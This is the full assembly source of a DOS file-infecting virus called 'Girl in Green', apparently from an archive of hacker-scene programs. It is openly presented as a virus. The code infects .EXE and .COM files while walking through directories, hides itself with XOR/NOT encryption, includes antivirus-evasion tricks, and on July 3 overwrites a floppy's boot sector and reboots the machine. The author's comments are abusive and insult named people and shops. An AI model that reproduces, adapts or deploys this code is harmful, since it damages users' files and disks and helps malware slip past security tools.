home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / TGIG.ZIP / green.asm next >
Assembly Source File  |  1995-06-25  |  30KB  |  674 lines

  1. GREEN_GIRL SEGMENT
  2. ;
  3. ; The "Girl in Green" Virus by The Methyl-Lated Spirit
  4. ;
  5. ; Alright, here is the low-down on this virus.
  6. ;       - XOR and NOT encryption
  7. ;       - Boot block message display <see below>
  8. ;       - .EXE and .COM infection <in that order>
  9. ;       - Direct Action <I SWEAR the next will be TSR>
  10. ;       - INT 042H Handler
  11. ;       - Teensy weensy little bit of anti-debugging shit
  12. ;       - Neat activation <boot block, see below>
  13. ;       - Directory Traversal
  14. ;       - Restores original Date/Time/Attributes
  15. ;       - Won't infect Windows .EXE's
  16. ;       - Won't fuck up too often because of extensive testing of it
  17. ;
  18. ; A short note on the boot block:
  19. ;
  20. ; This virus has a boot block, yes, thats right, a boot block!
  21. ; On July the 3rd, MY birthday, it will capture a picture of the first
  22. ; sector of the disk in A: into a file on the A: called boot.sec, then
  23. ; it will overwrite the original bootblock with some code, and when you
  24. ; re-boot onto that disk... well, I'll let you see yourself <it aint
  25. ; destructive, and that boot.sec is there in case you wanna restore it,
  26. ; aren't I a nice guy?  *G*>.  It was made originally for EGA, but should
  27. ; work on other monitors too, although the colours may be weird.
  28. ;
  29. ; Basically, there is no easy way to go through this virus.  It is
  30. ; a great desendant from Spaghetti <yes, the food>.  It jumps here, there
  31. ; everywhere, and, well, I don't believe I've created such a monster.
  32. ; Here is a little look see at it.  It goes through 2 phases determined
  33. ; by the run_count counter.  A setting of 1 means it is the first time through
  34. ; and that it should look for .EXE files to infect.  After that, it is set to
  35. ; 2 and it searches for .COM files to infect.  It will only infect 1 file on
  36. ; each run.  After that, when it goes to restart the host, it looks at the
  37. ; com_or_exe variable.  A setting of 1 means the current file is a .EXE and
  38. ; should be restored in that way, and a setting of 2 means the current file
  39. ; is a .COM file and should be restored as such.  These variables are
  40. ; temporarily changed while writing the virus to a new file to reflect
  41. ; the hosts new attributes.
  42. ;
  43. ; Dedications:
  44. ;       - The knock-out babe on the 424 bus home from school every day
  45. ;
  46. ; Big time fuck you's to:
  47. ;       - Peter Doyle.  FACE IT!  COMPUSERVE SUX!
  48. ;       - Dick Smith's Shops.  HAHAHAHA, THE TOILET BOWL VIRUS STRIKES AGAIN!
  49. ;       - MYER stores in Perth
  50. ;              "If you do not remove yourself from that computer, I
  51. ;               shall have to call security".  HAHAHAHAHAHAHAHAHAHA
  52. ;       - Deth : MYER was fun, but you are a liar and a theif, FUCK YOU
  53. ;               : You don't NARK on people you did a B&E with just because
  54. ;               : you're having PMS, get a life arsehole.  Liquid Plastic SUX.
  55. ;
  56. ; Greets to:
  57. ;       - Ral : Techno roqs just about as much as Jim Morrison
  58. ;       - Grey : Thanx for the chats dude
  59. ;       - Rainbow Bright/Telco Ray : Haven't seen u on the net laterly!
  60. ;       - Shalazar : What is there to say?  You're a dude.
  61. ;       - Titanium Warrior : I'm gunna get you!
  62. ;       - And all those wonderfull people in GrayLands that gave me this nice
  63. ;               padded cell so I wouldn't bang my head to hard on the walls
  64. ;               when I got frustrated debugging this thing :)
  65. ;
  66. ; Sources:
  67. ;       - Much code from my first virus, The Toilet Bowl
  68. ;       - VLAD, the info on how to check for WinEXE files
  69. ;       - 40-hex article by Dark Avenger on .EXE infections
  70. ;       - 40-hex article on how boot-sectors work <I just needed
  71. ;               the offset in memory where they are loaded, 0:7C00>
  72. ;
  73. ; Reasons for writing it:
  74. ; If you're wondering why this is called the "Girl in Green" virus, well, here
  75. ; is the answer.  I am Methyl, hanging on #AUSSIES alot, and I met a
  76. ; BEAUTIFUL girl on da bus, and she was dressed in her green school uniform.
  77. ; Well, I'm, of course, gunna ask her out when I get sum guts, but first
  78. ; I thought I'd be really kind and create a virus to show my love for her!  :>
  79. ;
  80. ; So if you <you know who you are> were wearing a slazenger suit into
  81. ; Karrinyup on Mothers Day, and a phreak in white with the wierdest
  82. ; pair of jeans in the world on came up to you and said "Hello", then,
  83. ; I LOVE YOU! <evil grin>
  84.                                 ;
  85.         ORG 0H                  ;
  86.                                 ;
  87. START:                          ; Host file
  88.         MOV AH,4CH              ;
  89.         INT 21H                 ;
  90.                                 ;
  91. BEGIN:                          ;
  92.         MOV AH,1                ; TbAV will go no further :)
  93.         INT 016H                ;
  94.                                 ;
  95.         JMP $+3                 ; Stop F-PROT flagging this as a virus
  96.         DB 081H, 0E8H, 00H, 00H ;
  97.                                 ;
  98. GET_DELTA:                      ;
  99.         MOV BP,SP               ;
  100.         SUB WORD PTR [SS:BP], OFFSET GET_DELTA
  101.         MOV AX,[SS:BP]          ;
  102.         ADD SP,2                ;
  103.         MOV BP,AX               ;
  104.                                 ;
  105.         PUSH DS                 ; Save PSP segment
  106.         PUSH ES                 ;
  107.         MOV DS,CS               ; Make ES=DS=CS
  108.         MOV ES,DS               ;
  109.                                 ;
  110. ; I've done a little thing here that makes this baby easier to compile.
  111. ; When first compiled, the variable enc_or_not will equal 0, and so the
  112. ; encrypting routines shan't be run, because the virus has not yet encrypted
  113. ; itself.  After the first run, this value is changed forever to be 1, so that
  114. ; encryption is always carried out on the new infected files.  It takes up a
  115. ; bit of space, but, like I said, easier to compile.
  116.                                 ;
  117.                                 ;
  118.         CMP BYTE PTR [OFFSET ENC_OR_NOT+BP], 0
  119.         JE START_XOR            ;
  120.                                 ; Call encryption routines
  121.         CALL NOTTER             ;
  122.         CALL XORER              ;
  123.                                 ;
  124. START_XOR:                      ; Begin XOR'ing here
  125.         MOV BYTE PTR [OFFSET ENC_OR_NOT+BP], 1
  126.                                 ; Determine which method will be used later
  127.                                 ; to jump back to host, and restores the
  128.                                 ; appropriate host bytes.
  129.         CMP BYTE PTR [OFFSET COM_OR_EXE+BP], 1
  130.         JE EXE_BYTES            ;
  131.                                 ; This will restore .COM files
  132.         LEA SI,[OFFSET ORIG_3+BP]
  133.         MOV DI,0100H            ;
  134.         MOVSB                   ;
  135.         MOVSB                   ;
  136.         MOVSB                   ;
  137.         JMP RESET               ;
  138.                                 ;
  139. EXE_BYTES:                      ; This is for .EXE's
  140.         MOV WORD PTR [ORIG_CSIP+BP], WORD PTR [TEMP_CSIP+BP]
  141.         MOV WORD PTR [ORIG_SSSP+BP], WORD PTR [TEMP_SSSP+BP]
  142.         MOV WORD PTR [ORIG_CSIP+BP+02H], WORD PTR [TEMP_CSIP+BP+02H]
  143.         MOV WORD PTR [ORIG_SSSP+BP+02H], WORD PTR [TEMP_SSSP+BP+02H]
  144.                                 ;
  145. RESET:                          ; Reset run counter
  146.         MOV BYTE PTR [OFFSET RUN_COUNT+BP],1
  147.                                 ;
  148. SET_NEW_DTA:                    ; Make a new DTA
  149.         MOV AH, 01AH            ;
  150.         LEA DX, OFFSET NEW_DTA_AREA+BP
  151.         INT 021H                ;
  152.                                 ;
  153. SAVE_CURRENT_DIR:               ; Save current directory for traversal functions
  154.         MOV AH, 047H            ;
  155.         XOR DL, DL              ;
  156.         LEA SI, OFFSET DIR_BUFFER+BP
  157.         INT 021H                ;
  158.                                 ;
  159. SET_ERRORS:                     ; Make a new error handler to stop
  160.                                 ; write protect errors propping up.
  161.         MOV AX, 03524H          ;
  162.         INT 21H                 ;
  163.                                 ;
  164.         LEA DI, OFFSET OLD_ERROR+BP
  165.         MOV [DI],ES             ;
  166.         ADD DI,2                ;
  167.         MOV [DI],BX             ;
  168.                                 ;
  169.         MOV AX,02524H           ;
  170.         LEA DX, OFFSET NEW_ERROR_HANDLER+BP
  171.         INT 21H                 ;
  172.                                 ;
  173.         MOV ES, DS              ; Restore modified ES register
  174. ; *********************************************************************
  175. ; Activation routine for July 3rd.
  176. ;
  177.                                 ;
  178.         MOV AH, 02AH            ; Get date
  179.         INT 21H                 ;
  180.                                 ;
  181. MONTH:                          ;
  182.         CMP DH, 07H             ; Check if it is July
  183.         JE DAY                  ;
  184.         JMP DATE_TEST_PASSED    ;
  185.                                 ;
  186. DAY:                            ;
  187.         CMP DL, 03H             ; Check if it is the 3rd
  188.         JE BOOTER               ;
  189.         JMP DATE_TEST_PASSED    ;
  190.                                 ; If it got to this point, ITS MY BIRTHDAY!
  191. BOOTER:                         ;
  192.         MOV AX,0201H            ; Read old boot block data
  193.         MOV CX,1                ;
  194.         XOR DX,DX               ;
  195.         LEA BX,OFFSET OLD_DATA+BP;
  196.         INT 013H                ;
  197.                                 ;
  198.         MOV AH,03CH             ; Create A:\BOOT.SEC
  199.         XOR CX,CX               ;
  200.         LEA DX,OFFSET BOOT_NAME+BP
  201.         INT 21H                 ;
  202.                                 ;
  203.         JC QUIT                 ; Disk not there maybe?
  204.                                 ;
  205.         XCHG BX,AX              ; Write A:\BOOT.SEC
  206.         MOV AH,040H             ;
  207.         MOV CX,512              ;
  208.         LEA DX,OFFSET OLD_DATA+BP
  209.         INT 021H                ;
  210.                                 ;
  211.         MOV AH,03EH             ;
  212.         INT 021H                ; Close file with boot sector inside
  213.                                 ;
  214.         MOV AX,0301H            ; Write new boot sector to floppy
  215.         MOV CX,1                ;
  216.         XOR DX,DX               ;
  217.         LEA BX, OFFSET START_WRITE+BP
  218.         INT 13H                 ;
  219.                                 ;
  220. QUIT:                           ; Reboot computer to load up new boot segment
  221.         MOV AX,040H             ; Set up for a warm reboot <quicker>
  222.         MOV DS,AX               ;
  223.         MOV AX, 012H            ;
  224.         MOV [072H], AX          ;
  225.                                 ;
  226.         DB 0EAH                 ; Do a jump to Offset:Segment following
  227.         DB 00,00,0FFH,0FFH      ; which is FFFF:0000 as segment:offset
  228.                                 ;
  229. ;***********************************************************************
  230. ; This is the boot_block start
  231.  
  232. START_WRITE:                    ;
  233.         CLD                     ;
  234.                                 ;
  235. NO_CURSOR:                      ;
  236.         MOV AH,1                ;
  237.         MOV CX,02000H           ;
  238.         INT 010H                ;
  239.                                 ;
  240.         MOV AX,0B800H           ; Colour video segment
  241.         MOV ES,AX               ;
  242.         XOR DI,DI               ;
  243.         LEA SI, 07C00H+(OFFSET MESSAGE-OFFSET START_WRITE)
  244.                                 ;
  245. LOOPY_GREEN:                    ;
  246.         MOV CX, 23              ;
  247.         REP MOVSW               ;
  248.         SUB SI, 46              ;
  249.         LEA AX, 07C00H+(OFFSET LOOPY_GREEN-OFFSET START_WRITE)
  250.         JMP AX                  ;
  251.                                 ;
  252. MESSAGE DB 'I',02,32 ,02,03 ,02,32 ,02,'Y',02,'O',02,'U',02,32,02
  253.         DB 'G',02,'I',02,'R',02,'L',02,32 ,02,'I',02,'N',02
  254.         DB 32 ,02,'G',02,'R',02,'E',02,'E',02,'N',02,'!',02,32,02
  255.                                 ;
  256. ; This is the boot_block end
  257. ;***********************************************************************
  258.                                 ;
  259. DATE_TEST_PASSED:               ; Find first file
  260.         MOV AH,04EH             ;
  261.         JMP FINDER              ;
  262.                                 ;
  263. CHANGE_DIR:                     ; Go down in directory structure
  264.         MOV AH,03BH             ;
  265.         LEA DX,OFFSET CHANGE_TO+BP
  266.         INT 021H                ;
  267.         JC END_ALL              ; In root, no more files
  268.                                 ;
  269.         MOV AH,04EH             ; Since it is is a new dir, find first file
  270.         JMP FINDER              ;
  271.                                 ;
  272. RESET_ATTRIBS:                  ; Reset file time/date
  273.         MOV AX,05701H           ;
  274.         MOV CX,[OFFSET TIME+BP] ;
  275.         MOV DX,[OFFSET DATE+BP] ;
  276.         INT 021H                ;
  277.         RET                     ;
  278.                                 ;
  279. CLOSE_FILE:                     ; Close file and reset attributes
  280.         MOV AH,03EH             ;
  281.         INT 021H                ;
  282.                                 ;
  283.         MOV AX,04301H           ;
  284.         MOV CX,[OFFSET ATTRIBS+BP]
  285.         LEA DX,OFFSET NEW_DTA_AREA+1EH+BP
  286.         INT 021H                ;
  287.         RET                     ;
  288.                                 ;
  289. FINDER:                         ; Find first/next routine
  290.         LEA DX,[OFFSET FILE_MASK+BP]
  291.         MOV CX,0007H            ;
  292.         INT 021H                ;
  293.                                 ;
  294.         JC CHANGE_DIR           ; Change dir if no more files
  295.         JMP FILE_FOUND          ;
  296.                                 ;
  297. DO_OTHER:                       ; Change file mask.  This is the 2nd
  298.                                 ; pass, so look for .COM's instead of .EXE's
  299.         MOV BYTE PTR [OFFSET RUN_COUNT+BP],2
  300.         MOV WORD PTR [OFFSET FILE_MASK+BP+2],'OC'
  301.         MOV BYTE PTR [OFFSET FILE_MASK+BP+4],'M'
  302.         MOV AH,04EH             ;
  303.         JMP FINDER              ;
  304.                                 ;
  305. END_ALL:                        ;
  306.         MOV AH,03BH             ; Change to original dir
  307.         LEA DX,OFFSET SLASH+BP  ;
  308.         INT 021H                ;
  309.                                 ; Do second pass if not done already
  310.         CMP BYTE PTR [OFFSET RUN_COUNT+BP], 1
  311.         JE DO_OTHER             ;
  312.                                 ;
  313.                                 ; Reload original error handler
  314.         MOV DX,[OFFSET OLD_ERROR+BP+02H]
  315.         MOV DS,[OFFSET OLD_ERROR+BP]
  316.         MOV AX,02524H           ;
  317.         INT 021H                ;
  318.                                 ;
  319.         POP ES                  ; Reload original DS, ES
  320.         POP DS                  ;
  321.                                 ; Determine host file type
  322.         CMP BYTE PTR [OFFSET COM_OR_EXE+BP],1
  323.         JE EXE_RESTORE          ;
  324.                                 ;
  325.         MOV AH,01AH             ; This will restore a .COM file
  326.         MOV DX,080H             ;
  327.         INT 021H                ;
  328.                                 ;
  329.         MOV DX,0100H            ;
  330.         JMP DX                  ;
  331.                                 ;
  332. EXE_RESTORE:                    ; This will restore a .EXE file
  333.                                 ;
  334.         MOV AH,1AH              ; Reset original PSP
  335.         MOV DX,080H             ;
  336.         INT 021H                ;
  337.                                 ;
  338.         MOV AX,ES               ; Get CS:IP ready to jump to
  339.         ADD AX,010H             ;
  340.         ADD WORD PTR CS:[BP+ORIG_CSIP+02H],AX
  341.         ADD AX, WORD PTR CS:[BP+ORIG_SSSP+02H]
  342.                                 ;
  343.         CLI                     ; Restore stack segment and stack pointer
  344.         MOV SP, WORD PTR CS:[BP+ORIG_SSSP]
  345.         MOV SS,AX               ;
  346.         STI                     ;
  347.                                 ;
  348.         DB 0EAH                 ; Far Jump Offset:Segment following
  349.                                 ;
  350. ;***************************************************************************
  351. ; Data area
  352.                                 ;
  353. ORIG_CSIP DW 0,0                ; Original CS:IP value
  354. ORIG_SSSP DW 0,0                ; Original SS:SP value
  355.                                 ;
  356. TEMP_CSIP DW 0,0                ; Temporary CS:IP value
  357. TEMP_SSSP DW 0,0                ; Temporary SS:SP value
  358.                                 ;
  359. CHANGE_TO DB '..',0             ; For directory traversal functions
  360. FILE_MASK DB '*.EXE',0          ; File mask <DUH!>
  361.                                 ;
  362. BOOT_NAME DB 'A:\BOOT.SEC',00   ; Holds original boot sector of a diskette
  363.                                 ;
  364. COM_OR_EXE DB 1                 ; 1=exe, 2=com
  365. RUN_COUNT DB 1                  ; 1=first, 2=second
  366.                                 ;
  367. JUMPING DB 0E9H,00,00           ; Jump construct for a .COM file
  368. ORIG_3 DB 3 DUP(?)              ; Original .COM file bytes
  369.                                 ;
  370. ; End Data area
  371. ;***************************************************************************
  372.                                 ;
  373. POINTER_MOVER:                  ;
  374.         XOR CX,CX               ;
  375.         XOR DX,DX               ;
  376.         MOV AH, 042H            ;
  377.         INT 021H                ;
  378.         RET                     ;
  379.                                 ;
  380. COM_TIME:                       ; Checks for ibmdos.com, ibmbio.com, command.com
  381.                                 ; So it works on PC/DOS and MS/DOS
  382.         MOV AL, BYTE PTR [OFFSET NEW_DTA_AREA+BP+01EH+2]
  383.         CMP AL,'M'              ;
  384.         JNE NOT_DOS_FILE        ;
  385.         JMP NOPE                ;
  386.                                 ;
  387. NOT_DOS_FILE:                   ;
  388.         MOV AL,02H              ;
  389.         CALL POINTER_MOVER      ;
  390.                                 ;
  391.         SUB DX,1                ; Jump to end of file-1
  392.         SBB CX,0                ;
  393.         MOV AX,04202H           ;
  394.         INT 021H                ;
  395.                                 ;
  396.         MOV AH,03FH             ; Read last byte of file
  397.         MOV CX,1                ;
  398.         LEA DX,OFFSET ORIG_3+BP ;
  399.         INT 021H                ;
  400.                                 ;
  401.         MOV AL,[OFFSET ORIG_3+BP]
  402.         CMP AL,'\'              ;
  403.         JNE CHECK_IT            ; Infect file
  404.                                 ;
  405. NOPE:                           ; Can't infect for some reason or another
  406.         CALL RESET_ATTRIBS      ;
  407.         CALL CLOSE_FILE         ;
  408.         MOV AH,04FH             ;
  409.         JMP FINDER              ; Already infected (It's my BAAAABBYYYY)
  410.                                 ;
  411. CHECK_IT:                       ;
  412.         XOR AL,AL               ; Beginning of file
  413.         CALL POINTER_MOVER      ;
  414.                                 ;
  415.         MOV AH,03FH             ; Read files first 3 bytes
  416.         MOV CX,3                ;
  417.         LEA DX,[OFFSET ORIG_3+BP]
  418.         INT 021H                ;
  419.                                 ;
  420.         MOV AL,[OFFSET ORIG_3+BP]
  421.         ADD AL,[OFFSET ORIG_3+BP+1]
  422.         CMP AX,'M'+'Z'          ;
  423.         JE NOPE                 ;
  424.                                 ;
  425. INFECT_COM:                     ;
  426.         MOV AL,02H              ;
  427.         CALL POINTER_MOVER      ;
  428.                                 ;
  429.         SUB AX,3                ; Calculate jump offset
  430.         MOV [OFFSET JUMPING+BP+1],AX
  431.                                 ;
  432.         XOR AL,AL               ; Beginning of file
  433.         CALL POINTER_MOVER      ;
  434.                                 ;
  435.         MOV CX,3                ; Write jump bytes
  436.         MOV AH,040H             ;
  437.         LEA DX,OFFSET JUMPING+BP;
  438.         INT 021H                ;
  439.                                 ;
  440.                                 ; So that the infected file will look for
  441.                                 ; .EXE's on the first run and not .COM's,
  442.                                 ; this code here must be added
  443.         MOV WORD PTR [OFFSET FILE_MASK+BP+2],'XE'
  444.         MOV BYTE PTR [OFFSET FILE_MASK+BP+4],'E'
  445.                                 ; Make sure that when the virus runs of it's new
  446.                                 ; .COM host, it knows it and isn't running as if
  447.                                 ; it was on the old host <i.e. restore host
  448.                                 ; as a .COM and not a .EXE>
  449.         MOV AL,[OFFSET COM_OR_EXE+BP]
  450.         PUSH AX                 ;
  451.         MOV BYTE PTR [OFFSET COM_OR_EXE+BP],2
  452.         JMP END_WRITER          ;
  453.                                 ;
  454. FILE_FOUND:                     ;
  455.         MOV AX, 04300H          ; Get and save attribs
  456.         LEA DX,[OFFSET NEW_DTA_AREA+BP+01EH]
  457.         INT 21H                 ;
  458.                                 ;
  459.         MOV [OFFSET ATTRIBS+BP],CX
  460.         MOV WORD PTR [OFFSET TIME+BP],[OFFSET NEW_DTA_AREA+BP+016H]
  461.         MOV WORD PTR [OFFSET DATE+BP],[OFFSET NEW_DTA_AREA+BP+018H]
  462.                                 ;
  463. CHANGE_ATTRIBS_NORMAL:          ; Change attributes to NULL
  464.         MOV AX,04301H           ;
  465.         XOR CX,CX               ;
  466.         LEA DX,[OFFSET NEW_DTA_AREA+BP+01EH]
  467.         INT 021H                ;
  468.         JNC OPEN_FILE           ;
  469.         MOV AH,04FH             ;
  470.         JMP FINDER              ; Somefink went wrong!
  471.                                 ;
  472. OPEN_FILE:                      ; Open da file
  473.         MOV AX,03D02H           ;
  474.         LEA DX,OFFSET NEW_DTA_AREA+BP+01EH
  475.         INT 021H                ;
  476.         JNC WHAT_WRITE_ROUTINE  ;
  477.         MOV AH,04FH             ;
  478.         JMP FINDER              ; Somefink else went wrong!
  479.                                 ;
  480. WHAT_WRITE_ROUTINE:             ; Write to a .COM or .EXE
  481.         XCHG BX,AX              ; Put file handle in BX
  482.         CMP BYTE PTR [OFFSET FILE_MASK+BP+2],'E'
  483.         JE CHECK_INFECTED       ;
  484.         JMP COM_TIME            ;
  485.                                 ;
  486. CHECK_INFECTED:                 ; Read in file header
  487.         MOV CX,01AH             ; .EXE header is (01Ah bytes)
  488.         MOV AH,3FH              ;
  489.         LEA DX,OFFSET FILE_HEADER+BP
  490.         INT 021H                ;
  491.                                 ; Check if it is already infected
  492.         CMP WORD PTR [OFFSET FILE_HEADER+BP+012H],'GG'
  493.         JNE TEST_WIN            ;
  494.         JMP NOPE                ;
  495.                                 ;
  496. NEW_ERROR_HANDLER:              ; New INT 024H handler
  497.         MOV AL,3                ; Fail system call <VLAD said to do this>
  498.         IRET                    ;
  499.                                 ;
  500. TEST_WIN:                       ;
  501.         MOV AX,[OFFSET FILE_HEADER+BP+018H]
  502.         CMP AX,040H             ;
  503.         JB MODIFY_HEADER        ; Not windows file
  504.         JMP NOPE                ; Is windows file
  505.                                 ;
  506. MODIFY_HEADER:                  ; Begin transmorgification of the header
  507.         MOV AL,02H              ; Get file size for later on
  508.         CALL POINTER_MOVER      ;
  509.                                 ;
  510.         PUSH BX                 ; Save handle
  511.         PUSH DX                 ; Save file size
  512.         PUSH AX                 ;
  513.                                 ; TEMP_CSIP = Offset : Segment
  514.         LES AX, DWORD PTR [OFFSET FILE_HEADER+BP+014H]
  515.         MOV WORD PTR [BP+OFFSET TEMP_CSIP], AX
  516.         MOV WORD PTR [BP+OFFSET TEMP_CSIP+02H], ES
  517.                                 ; Save stack pointer
  518.                                 ; TEMP_SSSP = Offset : Segment
  519.         LES AX, DWORD PTR [OFFSET FILE_HEADER+BP+0EH]
  520.         MOV WORD PTR [BP+OFFSET TEMP_SSSP],ES
  521.         MOV WORD PTR [BP+OFFSET TEMP_SSSP+02H],AX
  522.                                 ; Convert header size to bytes
  523.                                 ; <originally in paragraphs>
  524.         MOV AX, WORD PTR [BP+FILE_HEADER+08H]
  525.         MOV CL,04H              ;
  526.         SHL AX,CL               ;
  527.                                 ;
  528.         XCHG BX,AX              ; BX now holds the header size in bytes
  529.                                 ;
  530.         POP AX                  ; Get file size into DX:AX
  531.         POP DX                  ;
  532.                                 ;
  533.         PUSH AX                 ; Save file size for later AGAIN
  534.         PUSH DX                 ;
  535.                                 ;
  536.         SUB AX,BX               ; Take header size from file size
  537.         SBB DX,0                ;
  538.                                 ;
  539.         MOV CX,010H             ; Make it segment:offset form
  540.         DIV CX                  ;
  541.                                 ; Write new entry point
  542.         MOV WORD PTR [OFFSET FILE_HEADER+BP+014H],DX
  543.         MOV WORD PTR [OFFSET FILE_HEADER+BP+016H],AX
  544.                                 ; Write new Stack
  545.                                 ; Pointer and....
  546.         MOV WORD PTR [OFFSET FILE_HEADER+BP+010H],0
  547.                                 ; Segment!
  548.         MOV WORD PTR [OFFSET FILE_HEADER+BP+0EH],AX
  549.                                 ; Write ID bytes
  550.         MOV WORD PTR [OFFSET FILE_HEADER+BP+012H],'GG'
  551.                                 ;
  552.         POP DX                  ; Get file length
  553.         POP AX                  ;
  554.                                 ; Add virus size
  555.         ADD AX,OFFSET END_VIRUS-OFFSET BEGIN
  556.         ADC DX,0                ;
  557.                                 ;
  558.         MOV CL,9                ;
  559.         PUSH AX                 ; Save file size+virus size
  560.                                 ;
  561.         SHR AX,CL               ;
  562.         ROR DX,CL               ;
  563.         STC                     ;
  564.         ADC DX,AX               ; File size in pages
  565.         POP AX                  ;
  566.         AND AH,1                ; MOD 512
  567.                                 ; Write new file size
  568.         MOV WORD PTR [BP+OFFSET FILE_HEADER+04H],DX
  569.         MOV WORD PTR [BP+OFFSET FILE_HEADER+02H],AX
  570.                                 ; Increase minimum memory requirements to
  571.                                 ; ORIG_MEM + VIRUS_MEM = TOTAL_MEM 8)
  572.         MOV AX,OFFSET END_FILE-OFFSET BEGIN
  573.         MOV CL,4                ;
  574.         SHR AX,CL               ;
  575.                                 ;
  576.         ADD AX,WORD PTR [BP+OFFSET FILE_HEADER+0AH]
  577.         MOV WORD PTR [BP+OFFSET FILE_HEADER+0AH],AX
  578.                                 ;
  579.         POP BX                  ; Get handle again
  580.                                 ;
  581. MOOWAAHAAHAAHAA:                ; Infect the wanker!
  582.         XOR AL,AL               ; Move to da start of da file
  583.         CALL POINTER_MOVER      ;
  584.                                 ;
  585.         MOV CX,01AH             ; Write header
  586.         MOV AH,040H             ;
  587.         LEA DX,OFFSET FILE_HEADER+BP
  588.         INT 021H                ;
  589.                                 ; So that the virus, when executing of its
  590.                                 ; new host knows that it will restore the bytes
  591.                                 ; as if attatched to a .EXE file
  592.         MOV AL, BYTE PTR [OFFSET COM_OR_EXE+BP]
  593.         PUSH AX                 ;
  594.         MOV BYTE PTR [OFFSET COM_OR_EXE+BP],1
  595.                                 ;
  596. END_WRITER:                     ;
  597.         MOV AL,02H              ; Move to da end of da file
  598.         CALL POINTER_MOVER      ;
  599.                                 ;
  600. MAKE_NEW_ENC_VALUE:             ; Get a new random encryption value
  601.         MOV AH,2CH              ;
  602.         INT 21H                 ;
  603.         MOV BYTE PTR [OFFSET ENCRYPTION_VALUE+BP],DL
  604.                                 ;
  605. END_XOR:                        ; End XOR here
  606.                                 ; Make it my BAAAABBYYYY
  607.         CALL XORER              ;
  608.         CALL NOTTER             ;
  609.                                 ;
  610.         MOV CX,OFFSET END_VIRUS-OFFSET BEGIN
  611.         MOV AH,40H              ;
  612.         LEA DX,OFFSET BEGIN+BP  ;
  613.         INT 021H                ;
  614.                                 ;
  615.         CALL NOTTER             ; Decrypt virus
  616.         CALL XORER              ;
  617.                                 ; Restore original com_or_exe value
  618.         POP AX                  ;
  619.         MOV BYTE PTR [OFFSET COM_OR_EXE+BP],AL
  620.                                 ;
  621.         CALL RESET_ATTRIBS      ;
  622.         CALL CLOSE_FILE         ;
  623.         JMP END_ALL             ;
  624.                                 ;
  625.                                 ;
  626. XORER:                          ;
  627.         CLD                     ; String instruction increment
  628.         MOV ES,CS               ;
  629.         MOV AH, [OFFSET ENCRYPTION_VALUE+BP]
  630.         MOV CX, OFFSET END_XOR-OFFSET START_XOR
  631.         LEA SI, [OFFSET START_XOR+BP]
  632.         MOV DI, SI              ;
  633.                                 ;
  634. XOR_LOOPER:                     ;
  635.         LODSB                   ;
  636.         XOR AL,AH               ;
  637.         STOSB                   ;
  638.         LOOP XOR_LOOPER         ;
  639.         RET                     ;
  640.                                 ;
  641. NOTTER:                         ;
  642.         CLD                     ; Make sure string instructions increment
  643.         MOV ES,CS               ;
  644.         MOV CX,OFFSET NOTTER-OFFSET XORER
  645.         LEA SI,[OFFSET XORER+BP]
  646.         MOV DI,SI               ;
  647.                                 ;
  648. NOT_LOOPER:                     ;
  649.         LODSB                   ;
  650.         NOT AL                  ;
  651.         STOSB                   ;
  652.         LOOP NOT_LOOPER         ;
  653.         RET                     ;
  654.                                 ;
  655. ENCRYPTION_VALUE DB 0           ;
  656. ENC_OR_NOT DB 0                 ; To encrypt or not to encrypt
  657. SLASH DB '\'                    ; For directory traversal functions
  658.                                 ;
  659. END_VIRUS:                      ; Everything from here on is not written
  660.                                 ; to infected files
  661.                                 ;
  662. DIR_BUFFER DB 64 DUP (?)        ; For directory traversal functions
  663. NEW_DTA_AREA DB 128 DUP (?)     ; New DTA place
  664. ATTRIBS DW 0                    ; Buffer for file attributes
  665. TIME DW 0                       ;    "    "    "  time
  666. DATE DW 0                       ;    "    "    "  date
  667. FILE_HEADER DB 01AH DUP (?)     ; File Header Read/Write Buffer
  668. OLD_ERROR DW 0,0                ; Hold old error handler address
  669. OLD_DATA DB 512 DUP (?)         ; Holds old boot block
  670.                                 ;
  671. END_FILE:                       ;
  672. GREEN_GIRL ENDS                 ;
  673. END BEGIN                       ;
  674.